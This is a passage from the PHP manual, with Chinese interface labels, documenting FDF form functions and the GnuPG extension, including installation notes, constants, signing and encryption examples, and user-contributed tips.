  • fdf_set_target_frame() - Set target frame for form display

User Contributed Notes

There are no user contributed notes for this page.


Sets a flag of a field

  • ? fdf_set_file
  • fdf_set_javascript_action ?
  • PHP Manual
  • FDF 函数
  • Sets a flag of a field

fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_flags — Sets a flag of a field

说明

fdf_set_flags(
resource $fdf_document,
string $fieldname,
int $whichFlags,
int $newFlags
): bool

Sets certain flags of the given field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

whichFlags

newFlags

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_set_opt() - Sets an option of a field

User Contributed Notes

There are no user contributed notes for this page.


Sets an javascript action of a field

  • ? fdf_set_flags
  • fdf_set_on_import_javascript ?
  • PHP Manual
  • FDF 函数
  • Sets an javascript action of a field

fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_javascript_action — Sets an javascript action of a field

说明

fdf_set_javascript_action(
resource $fdf_document,
string $fieldname,
int $trigger,
string $script
): bool

Sets a javascript action for the given field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_set_submit_form_action() - Sets a submit form action of a field

User Contributed Notes

There are no user contributed notes for this page.


Adds javascript code to be executed when Acrobat opens the FDF

  • ? fdf_set_javascript_action
  • fdf_set_opt ?
  • PHP Manual
  • FDF 函数
  • Adds javascript code to be executed when Acrobat opens the FDF

fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF

说明

fdf_set_on_import_javascript(resource $fdf_document, string $script, bool $before_data_import): bool
Warning

本函数还未编写文档，仅有参数列表。

参见

  • fdf_add_doc_javascript() - Adds javascript code to the FDF document
  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

Jake Marble 17-Jul-2007 10:20
This example would cause a browser to open 'a.pdf' and pop up an alert window AFTER setting a field value:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', false);

fdf_save($fdf);
fdf_close($fdf);
?>

Or, to execute the javascript BEFORE setting the field value, just change false to true:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', true);

fdf_save($fdf);
fdf_close($fdf);
?>


Sets an option of a field

  • ? fdf_set_on_import_javascript
  • fdf_set_status ?
  • PHP Manual
  • FDF 函数
  • Sets an option of a field

fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_opt — Sets an option of a field

说明

fdf_set_opt(
resource $fdf_document,
string $fieldname,
int $element,
string $str1,
string $str2
): bool

Sets options of the given field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

element

str1

str2

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_set_flags() - Sets a flag of a field

User Contributed Notes

ceo at l-i-e dot com 28-Jul-2003 05:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html


Set the value of the /STATUS key

  • ? fdf_set_opt
  • fdf_set_submit_form_action ?
  • PHP Manual
  • FDF 函数
  • Set the value of the /STATUS key

fdf_set_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_status — Set the value of the /STATUS key

说明

fdf_set_status(resource $fdf_document, string $status): bool

Sets the value of the /STATUS key. When a client receives a FDF with a status set it will present the value in an alert box.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

status

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_get_status() - Get the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.


Sets a submit form action of a field

  • ? fdf_set_status
  • fdf_set_target_frame ?
  • PHP Manual
  • FDF 函数
  • Sets a submit form action of a field

fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_submit_form_action — Sets a submit form action of a field

说明

fdf_set_submit_form_action(
resource $fdf_document,
string $fieldname,
int $trigger,
string $script,
int $flags
): bool

Sets a submit form action for the given field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

flags

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

There are no user contributed notes for this page.


Set target frame for form display

  • ? fdf_set_submit_form_action
  • fdf_set_value ?
  • PHP Manual
  • FDF 函数
  • Set target frame for form display

fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_target_frame — Set target frame for form display

说明

fdf_set_target_frame(resource $fdf_document, string $frame_name): bool

Sets the target frame to display a result PDF defined with fdf_save_file() in.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

frame_name

The frame name, as a string.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_save_file()

User Contributed Notes

There are no user contributed notes for this page.


Set the value of a field

  • ? fdf_set_target_frame
  • fdf_set_version ?
  • PHP Manual
  • FDF 函数
  • Set the value of a field

fdf_set_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_value — Set the value of a field

说明

fdf_set_value(
resource $fdf_document,
string $fieldname,
mixed $value,
int $isName = ?
): bool

Sets the value for the given field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

value

This parameter will be stored as a string unless it is an array. In this case all array elements will be stored as a value array.

isName

Note:

In older versions of the FDF toolkit last parameter determined if the field value was to be converted to a PDF Name (= 1) or set to a PDF String (= 0).

The value is no longer used in the current toolkit version 5.0. For compatibility reasons it is still supported as an optional parameter, but ignored internally.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_get_value() - Get the value of a field
  • fdf_remove_item() - Sets target frame for form

User Contributed Notes

There are no user contributed notes for this page.


Sets version number for a FDF file

  • ? fdf_set_value
  • GnuPG ?
  • PHP Manual
  • FDF 函数
  • Sets version number for a FDF file

fdf_set_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_version — Sets version number for a FDF file

说明

fdf_set_version(resource $fdf_document, string $version): bool

Sets the FDF version for the given document.

Some features supported by this extension are only available in newer FDF versions.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

version

The version number. For the current FDF toolkit 5.0, this may be either 1.2, 1.3 or 1.4.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_get_version() - Gets version number for FDF API or file

User Contributed Notes

There are no user contributed notes for this page.


GNU Privacy Guard

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Clearsign text
  • GnuPG 函数
    • gnupg_adddecryptkey — Add a key for decryption
    • gnupg_addencryptkey — Add a key for encryption
    • gnupg_addsignkey — Add a key for signing
    • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
    • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
    • gnupg_clearsignkeys — Removes all keys which were set for signing before
    • gnupg_decrypt — Decrypts a given text
    • gnupg_decryptverify — Decrypts and verifies a given text
    • gnupg_deletekey — Delete a key from the keyring
    • gnupg_encrypt — Encrypts a given text
    • gnupg_encryptsign — Encrypts and signs a given text
    • gnupg_export — Exports a key
    • gnupg_getengineinfo — Returns the engine info
    • gnupg_geterror — Returns the errortext, if a function fails
    • gnupg_geterrorinfo — Returns the error info
    • gnupg_getprotocol — Returns the currently active protocol for all operations
    • gnupg_gettrustlist — Search the trust items
    • gnupg_import — Imports a key
    • gnupg_init — Initialize a connection
    • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
    • gnupg_listsignatures — List key signatures
    • gnupg_setarmor — Toggle armored output
    • gnupg_seterrormode — Sets the mode for error_reporting
    • gnupg_setsignmode — Sets the mode for signing
    • gnupg_sign — Signs a given text
    • gnupg_verify — Verifies a signed text

User Contributed Notes

There are no user contributed notes for this page.


简介

This module allows you to interact with » gnupg.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires the » gpgme library

User Contributed Notes

bill dot rex at charter dot net 04-Aug-2013 03:58
gnupg-1.3.3 is now out which does correctly build again PHP 5.4.x and 5.5.x
jimjag at gmail dot com 28-Jun-2013 09:13
gnupg-1.3.2 (the latest) does not build under PHP 5.4.x or PHP 5.5.x... there are numerous suggested patches but nothing official.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/gnupg.

User Contributed Notes

5paceman 30-Apr-2023 12:16
To install on laravel sail:
<?php
sail publish
?>
Add to your Dockerfile:
<?php
    && apt-get update && apt-get upgrade -y \
    && apt-get install -y gcc-multilib libc-dev bzip2 libgpg-error-dev libassuan-dev \
    && apt-get install -y build-essential \
    && curl -sSn -o gnupg.tar.bz2 $GNUPG_URL \
    && mkdir gnupg \
    && tar -xf gnupg.tar.bz2 --directory gnupg \
    && (cd gnupg/gpgme-* && ./configure) \
    && (cd gnupg/gpgme-* && make && make install) \
    && pecl install gnupg
?>
Add to your php.ini under [php]
<?php
extension=gnupg.so
?>
Finally:
<?php
sail build --no-cache
?>
Check you can see gnupg under modules when you run:
<?php
sail php -m
?>
Mr T 21-Nov-2021 01:42
On Ubuntu 20, this is provided via `php-gnupg` (or with a specific version `php8.1-gnupg`)

To install:

`apt install php-gnupg`
Mahbub Kabir 08-Apr-2014 11:32
I tried followings on Debian Squeeze and it worked fine

apt-get install libgpgme11-dev
pecl install gnupg

create a new file under conf.d folder and add following lines

; configuration for gnupg module
extension=gnupg.so

Reload apache configuration
/etc/init.d/apache2 reload

Check PHP Info and you should see gnupg

Hope this helps.
cam dot metzke at gmail dot com 01-Nov-2013 08:14
For the folks in Debian Wheezy who are having a bit of trouble
heres a link to to a .deb file ( I use it ) for amd64 users

http://users.on.net/~cam.metzke/Debian%20Packages/Wheezy/gnupg/PECL-gnupg/

Anyway I built it for the community, hope it helps :)
Jane Doe 23-Apr-2013 12:03
Hi -

By default on Ubuntu 12.04 LTS gnupg needs to write to .gnupg in the home directory of the user running PHP (so for a web site this is www-data). You might need to make a ~/.gnupg for www-data and chown/chmod it correctly or everything will fail.
Dominik Sommer 13-Nov-2012 05:04
For Ubuntu 12.04, these are the steps:
1. Install packages: gnupg libgpg-error-dev libassuan-dev
2. Download GPGME library from ?http://www.gnupg.org/download/index.en.html#gpgme
3. Extract, then run
   configure
   make && sudo make install
4. Install PECL extension
   sudo pecl install gnupg
5. Add to php.ini
   extension=gnupg.so
frozenfire at php dot net 21-Feb-2012 02:36
Here are instructions for how to resolve the issue where you encounter this error:

/usr/include/gpgme.h:80:2: error: #error GPGME was compiled with _FILE_OFFSET_BITS = 64, please see the section "Largefile support (LFS)" in the GPGME manual.

This is a result of the gnupg extension currently lacking largefile support. The solution is fairly simple.

pecl download gnupg
tar -zxf gnupg-1.3.2.tgz
cd gnupg-1.3.2

Open the file config.m4 in an editor, and add "AC_SYS_LARGEFILE" to a new line at the very end of the file, then save.

phpize
./configure
make
make install

Now simply add extension=gnupg.so to your php.ini, and the extension should work.
Heath 07-Oct-2010 07:38
On Debian 5.05 (Lenny) I needed to install libgpgme11-dev
mk at wintermute dot at 04-Feb-2009 03:49
Quick installation guide on Fedora 10:

Needed:
- c++ compiler
- php-pear
- gnupg
- libgpg-error
- gpgme
- gpgme-devel
- php-devel

Install with:
$ pecl install gnupg

Add an entry to /etc/php.ini:
extension=gnupg.so

Restart Apache > you're done.
sma dot azar at gmail dot com 02-Feb-2009 10:10
After spending so much time I could only install it on Linux and not Windows. There is very little instructions on the net about installation of this module, so I am going to write a small instructions that should help a straightforward installation on Linux without so much trouble.

Step 1: you will need a C++ compiler on your machine. For being sure try this command in the terminal:
<?php
sudo apt-get install g++
?>
Obviously you need GnuPG itself, so try:
<?php
sudo apt-get install gnupg
?>
Step 2: you will need "Libgpg-Error" downloaded and installed on your machine.
2-1: Download the code from http://www.gnupg.org/download/#libgpg-error
2-2: Extract it to a directory. In the terminal, change the directory to the Libgpg-error directory.
2-3: Configure the package for building and installation with below command:
<?php
./configure
?>
2-4: In the same directory make it with below command:
<?php
sudo make
?>
2-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 3: you will need "GnuPG Made Easy" (GPGME) downloaded and installed on your machine. Some sources will tell you that you can "apt-get install" it, but actually you cannot. So do it like the latter:
3-1: Download the source code from http://www.gnupg.org/download/#gpgme
3-2: Extract it to a directory. In the terminal, change the directory to the GPGME directory.
3-3: Configure the package for building and installation with below command:
<?php
./configure
?>
3-4: In the same directory make it with below command:
<?php
sudo make
?>
3-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 4: Given that you have a LAMP server already and have php installed, you will need "pear" and "php source codes". To add them use below commands:
<?php
sudo apt-get install php5-dev
sudo apt-get install php-pear
?>

Step 5: Now you can install GNU Privacy Guard for php using PECL command:
<?php
 sudo pecl install gnupg
?>


预定义常量

GNUPG_SIG_MODE_NORMAL (int)
GNUPG_SIG_MODE_DETACH (int)
GNUPG_SIG_MODE_CLEAR (int)
GNUPG_VALIDITY_UNKNOWN (int)
GNUPG_VALIDITY_UNDEFINED (int)
GNUPG_VALIDITY_NEVER (int)
GNUPG_VALIDITY_MARGINAL (int)
GNUPG_VALIDITY_FULL (int)
GNUPG_VALIDITY_ULTIMATE (int)
GNUPG_PROTOCOL_OpenPGP (int)
GNUPG_PROTOCOL_CMS (int)
GNUPG_SIGSUM_VALID (int)
GNUPG_SIGSUM_GREEN (int)
GNUPG_SIGSUM_RED (int)
GNUPG_SIGSUM_KEY_REVOKED (int)
GNUPG_SIGSUM_KEY_EXPIRED (int)
GNUPG_SIGSUM_KEY_MISSING (int)
GNUPG_SIGSUM_SIG_EXPIRED (int)
GNUPG_SIGSUM_CRL_MISSING (int)
GNUPG_SIGSUM_CRL_TOO_OLD (int)
GNUPG_SIGSUM_BAD_POLICY (int)
GNUPG_SIGSUM_SYS_ERROR (int)
GNUPG_ERROR_WARNING (int)
GNUPG_ERROR_EXCEPTION (int)
GNUPG_ERROR_SILENT (int)

User Contributed Notes

There are no user contributed notes for this page.


Clearsign text

This example will clearsign a given text.

Example #1 gnupg clearsign example (procedural)

<?php
// init gnupg
$res = gnupg_init();
// not really needed. Clearsign is default
gnupg_setsignmode($res,GNUPG_SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = gnupg_sign($res,"just a test");
echo $signed;
?>

Example #2 gnupg clearsign example (OO)

<?php
// new class
$gnupg = new gnupg();
// not really needed. Clearsign is default
$gnupg->setsignmode(gnupg::SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
$gnupg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = $gnupg->sign("just a test");
echo $signed;
?>

Example #3 keylistiterator

This extension also comes with an Iterator for your keyring.

<?php
// create a new iterator for listing all public keys that matches 'example'
$iterator = new gnupg_keylistiterator("example");
foreach($iterator as $fingerprint => $userid){
echo $fingerprint." -> ".$userid."\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


GnuPG 函数

注释

This extension makes use of the keyring of the current user. This keyring is normally located in ~./.gnupg/. To specify a custom location, store the path to the keyring in the environment variable GNUPGHOME. See putenv for more information how to do this.

Some functions require the specification of a key. This specification can be anything that refers to a unique key (userid, key-id, fingerprint, ...). This documentation uses the fingerprint in all examples.

Note:

As alternative to the explicitly documented functions using resources, you can also use an object-oriented style using gnupg objects.

Table of Contents

  • gnupg_adddecryptkey — Add a key for decryption
  • gnupg_addencryptkey — Add a key for encryption
  • gnupg_addsignkey — Add a key for signing
  • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
  • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
  • gnupg_clearsignkeys — Removes all keys which were set for signing before
  • gnupg_decrypt — Decrypts a given text
  • gnupg_decryptverify — Decrypts and verifies a given text
  • gnupg_deletekey — Delete a key from the keyring
  • gnupg_encrypt — Encrypts a given text
  • gnupg_encryptsign — Encrypts and signs a given text
  • gnupg_export — Exports a key
  • gnupg_getengineinfo — Returns the engine info
  • gnupg_geterror — Returns the errortext, if a function fails
  • gnupg_geterrorinfo — Returns the error info
  • gnupg_getprotocol — Returns the currently active protocol for all operations
  • gnupg_gettrustlist — Search the trust items
  • gnupg_import — Imports a key
  • gnupg_init — Initialize a connection
  • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
  • gnupg_listsignatures — List key signatures
  • gnupg_setarmor — Toggle armored output
  • gnupg_seterrormode — Sets the mode for error_reporting
  • gnupg_setsignmode — Sets the mode for signing
  • gnupg_sign — Signs a given text
  • gnupg_verify — Verifies a signed text

User Contributed Notes

web at rlauzier dot com 29-Aug-2013 03:48
The function for listing all key signatures is also missing from the list...

gnupg_listsignatures

Examples:

$gpg = new gnupg();
$result = $gpg->listsignatures($fingerprint);

$gpg = gnupg_init();
$result = gnupg_listsignatures($gpg, $fingerprint);
phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 09:20
There's a function/method missing in the list.

gnupg_deletekey

(no version information, might be only in CVS)

gnupg_deletekey -- Delete a key

Description

bool gnupg_deletekey ( resource identifier, string key, [bool allowsecret]  )

Deletes the key from the keyring. If allowsecret is not set or FALSE it will fail on deleting secret keys.

Return Values

On success, this function returns TRUE. On failure, this function returns FALSE.

Examples

Example 1. Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example 2. OO gnupg_deletekey() example
<?php
$gpg = new gnupg();
$gpg -> deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>


Add a key for decryption

  • ? GnuPG 函数
  • gnupg_addencryptkey ?
  • PHP Manual
  • GnuPG 函数
  • Add a key for decryption

gnupg_adddecryptkey

(PECL gnupg >= 0.5)

gnupg_adddecryptkey — Add a key for decryption

说明

gnupg_adddecryptkey(resource $identifier, string $fingerprint, string $passphrase): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

fingerprint

指纹键名。

passphrase

The pass phrase.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_adddecryptkey() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_adddecryptkey() example

<?php
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

There are no user contributed notes for this page.


Add a key for encryption

  • ? gnupg_adddecryptkey
  • gnupg_addsignkey ?
  • PHP Manual
  • GnuPG 函数
  • Add a key for encryption

gnupg_addencryptkey

(PECL gnupg >= 0.5)

gnupg_addencryptkey — Add a key for encryption

说明

gnupg_addencryptkey(resource $identifier, string $fingerprint): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

fingerprint

指纹键名。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_addencryptkey() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example #2 OO gnupg_addencryptkey() example

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

su at aboynamedsu dot net 14-Aug-2013 10:48
When you've successfully installed gnupg, you should define the GNUPGHOME environment variable and make sure the directory is writeable by the Apache user.

<?php
    putenv("GNUPGHOME=/var/www/example.com/.gnupg");
?>
php at cdauth dot de 02-Dec-2007 06:39
In this case, $fingerprint is the fingerprint of the public key whose private key shall be able to decrypt the text. The private key that you want to encrypt the text with has to be loaded via gnupg_addsignkey().


Add a key for signing

  • ? gnupg_addencryptkey
  • gnupg_cleardecryptkeys ?
  • PHP Manual
  • GnuPG 函数
  • Add a key for signing

gnupg_addsignkey

(PECL gnupg >= 0.5)

gnupg_addsignkey — Add a key for signing

说明

gnupg_addsignkey(resource $identifier, string $fingerprint, string $passphrase = ?): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

fingerprint

指纹键名。

passphrase

The pass phrase.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_addsignkey() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_addsignkey() example

<?php
$gpg = new gnupg();
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

php at cdauth dot de 13-May-2008 11:39
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Removes all keys which were set for decryption before

  • ? gnupg_addsignkey
  • gnupg_clearencryptkeys ?
  • PHP Manual
  • GnuPG 函数
  • Removes all keys which were set for decryption before

gnupg_cleardecryptkeys

(PECL gnupg >= 0.5)

gnupg_cleardecryptkeys — Removes all keys which were set for decryption before

说明

gnupg_cleardecryptkeys(resource $identifier): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_cleardecryptkeys() example

<?php
$res = gnupg_init();
gnupg_cleardecryptkeys($res);
?>

Example #2 OO gnupg_cleardecryptkeys() example

<?php
$gpg = new gnupg();
$gpg->cleardecryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Removes all keys which were set for encryption before

  • ? gnupg_cleardecryptkeys
  • gnupg_clearsignkeys ?
  • PHP Manual
  • GnuPG 函数
  • Removes all keys which were set for encryption before

gnupg_clearencryptkeys

(PECL gnupg >= 0.5)

gnupg_clearencryptkeys — Removes all keys which were set for encryption before

说明

gnupg_clearencryptkeys(resource $identifier): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_clearencryptkeys() example

<?php
$res = gnupg_init();
gnupg_clearencryptkeys($res);
?>

Example #2 OO gnupg_clearencryptkeys() example

<?php
$gpg = new gnupg();
$gpg->clearencryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Removes all keys which were set for signing before

  • ? gnupg_clearencryptkeys
  • gnupg_decrypt ?
  • PHP Manual
  • GnuPG 函数
  • Removes all keys which were set for signing before

gnupg_clearsignkeys

(PECL gnupg >= 0.5)

gnupg_clearsignkeys — Removes all keys which were set for signing before

说明

gnupg_clearsignkeys(resource $identifier): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_clearsignkeys() example

<?php
$res = gnupg_init();
gnupg_clearsignkeys($res);
?>

Example #2 OO gnupg_clearsignkeys() example

<?php
$gpg = new gnupg();
$gpg->clearsignkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Decrypts a given text

  • ? gnupg_clearsignkeys
  • gnupg_decryptverify ?
  • PHP Manual
  • GnuPG 函数
  • Decrypts a given text

gnupg_decrypt

(PECL gnupg >= 0.1)

gnupg_decrypt — Decrypts a given text

说明

gnupg_decrypt(resource $identifier, string $text): string|false

Decrypts the given text with the keys, which were set with gnupg_adddecryptkey before.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

text

The text being decrypted.

返回值

On success, this function returns the decrypted text. On failure, this function returns false.

示例

Example #1 Procedural gnupg_decrypt() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = gnupg_decrypt($res,$encrypted_text);
echo $plain;
?>

Example #2 OO gnupg_decrypt() example

<?php
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = $gpg->decrypt($encrypted_text);
echo $plain;
?>

User Contributed Notes

bobby545 at op dot pl 02-Sep-2018 06:05
there is mistake in  description of object way, it said it is gnu_encrypt example not decrypt
Terra 03-Jun-2018 11:11
An update in regards to comments from 'yougot' and 'Mike'.

I have just submitted a pull request that should fix the 'passphrase' issue where the internal callback wasn't being called thereby triggering pinentry.

The pull request is at:  https://github.com/php-gnupg/php-gnupg/pull/15

This fix will also work for the current 1.4.0 release:  https://github.com/TerraTech/php-gnupg/tree/fix_adddecryptkey_passphrase-1.4.0

Hope that helps.
yougot at haxed dot com 28-Jul-2016 04:45
In regards to Mike's comments around passphrases not working correctly in v2, that's not entirely correct. If you want a PHP file to run without having to manually enter in your PGP passphrase you have to follow the steps outlined @ https://wiki.archlinux.org/index.php/GnuPG#Unattended_passphrase

Hope it helps.
aidukas at gmail dot com 01-Apr-2014 09:02
If empty text is encrypted, the gnupg_decrypt() function will return a boolean FALSE so if you do a strict comparison (===, !==) to track a failure it will trigger you a failure.
For failures use Exceptions:
<?php
        $gpg = new gnupg();
        $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
        /*
         .......further code.......
       */
        try {
            $string = $gpg->decrypt($stringToDecrypt);
        } catch (Exception $e) {
         // do the Error processing
        }

?>
Mike 28-Jan-2010 03:26
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Decrypts and verifies a given text

  • ? gnupg_decrypt
  • gnupg_deletekey ?
  • PHP Manual
  • GnuPG 函数
  • Decrypts and verifies a given text

gnupg_decryptverify

(PECL gnupg >= 0.2)

gnupg_decryptverify — Decrypts and verifies a given text

说明

gnupg_decryptverify(resource $identifier, string $text, string &$plaintext): array|false

Decrypts and verifies a given text and returns information about the signature.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

text

The text being decrypted.

plaintext

The parameter plaintext gets filled with the decrypted text.

返回值

On success, this function returns information about the signature and fills the plaintext parameter with the decrypted text. On failure, this function returns false.

示例

Example #1 Procedural gnupg_decryptverify() example

<?php
$plaintext = "";
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = gnupg_decryptverify($res,$text,$plaintext);
print_r($info);
?>

Example #2 OO gnupg_decryptverify() example

<?php
$plaintext = "";
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = $gpg->decryptverify($text,$plaintext);
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Delete a key from the keyring

  • ? gnupg_decryptverify
  • gnupg_encrypt ?
  • PHP Manual
  • GnuPG 函数
  • Delete a key from the keyring

gnupg_deletekey

(PECL gnupg >= 0.5)

gnupg_deletekey — Delete a key from the keyring

说明

gnupg_deletekey(resource $identifier, string $key, bool $allow_secret): bool

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

key

The key to delete.

allow_secret

It specifies whether to delete secret keys as well.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res, "8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example #2 OO gnupg_deletekey() example

<?php
$gpg = new gnupg();
$gpg->deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

There are no user contributed notes for this page.


Encrypts a given text

  • ? gnupg_deletekey
  • gnupg_encryptsign ?
  • PHP Manual
  • GnuPG 函数
  • Encrypts a given text

gnupg_encrypt

(PECL gnupg >= 0.1)

gnupg_encrypt — Encrypts a given text

说明

gnupg_encrypt(resource $identifier, string $plaintext): string|false

Encrypts the given plaintext with the keys, which were set with gnupg_addencryptkey before and returns the encrypted text.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

plaintext

The text being encrypted.

返回值

On success, this function returns the encrypted text. On failure, this function returns false.

示例

Example #1 Procedural gnupg_encrypt() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
$enc = gnupg_encrypt($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encrypt() example

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$enc = $gpg->encrypt("just a test");
echo $enc;
?>

User Contributed Notes

Stressed dev. Permission issue (SELinux) 31-Jan-2022 05:58
If you're using CentOS 8 and you're having folder permissions problems, remember to disable SELinux during development. (/etc/selinux/config), just change to disabled or permissive. Then when your project is going live switch it back to enforcing and add the proper se context.
emiliocolombo3 at gmail dot com 23-Jun-2016 02:36
Examples

Getting Key Information

<?php
